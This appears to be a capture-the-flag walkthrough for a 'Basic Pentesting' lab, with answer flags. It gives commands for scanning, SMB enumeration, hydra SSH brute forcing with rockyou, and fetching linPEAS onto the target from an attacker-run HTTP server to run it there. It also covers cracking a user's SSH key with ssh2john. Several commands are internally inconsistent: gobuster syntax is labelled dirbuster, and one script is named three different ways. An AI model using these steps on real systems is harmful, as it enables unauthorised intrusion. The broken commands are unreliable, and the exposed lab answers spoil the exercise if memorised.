Basic Pentesting

**Task 1 – Web App Testing and Privilege Escalation**

In these set of tasks you'll learn the following:

* brute forcing
* hash cracking
* service enumeration
* Linux Enumeration

**Answer the question:**

1.Deploye the machine and connect to the network

2. Find the service exposed by machine

$ nmap -sC -sV 10.10.208.103

3. What is the name of the hidden directory on the web server?

Ans - try dirbuster

$ dirbuster dir -u <http://10.10.208.103> -w /usr/share/wordlists/dirbuster/medium.txt

Flag - /development

4. User brute force to find the username & password

Ans – enum4Linux tool

$ enum4linux -A 10.10.208.103

5. What is the username?

**Hint** - what about using SMB to find a username?

Flag - jan

6. What is the password?

$ hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.208.103 Flag - armando

7. What service do you use to access the server?

Ans - ssh

8. Enumerate the machine to find any vector for privilege escalation



scp /opt/linePEAS/linepeas.sh <username>@<machine\_ip>:/dev/shm

Now we are getting the LinEnum to see if we can find an vulnerability

In you kali machine create a directory share and nagivate into this directory. Type in the following to download the script

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh

Now create a http server by typing in the following command

python3 -m http.server 80

Back to the ssh connection we had with jan

type in wget http://<machine\_IP>/LinPeas.sh

Now make it executable with

chmod +x LinEnum.sh

Now run the script by typing

./LinEnum.sh

9. What is the name of the other user found?

Ans - kay

10. If you have found another user, what can you do with this information?

Read the kay private key and crack with ssh2john and login with kay

10. What is the final password you obtain?

heresareallystrongpasswordthatfollowsthepasswordpolicy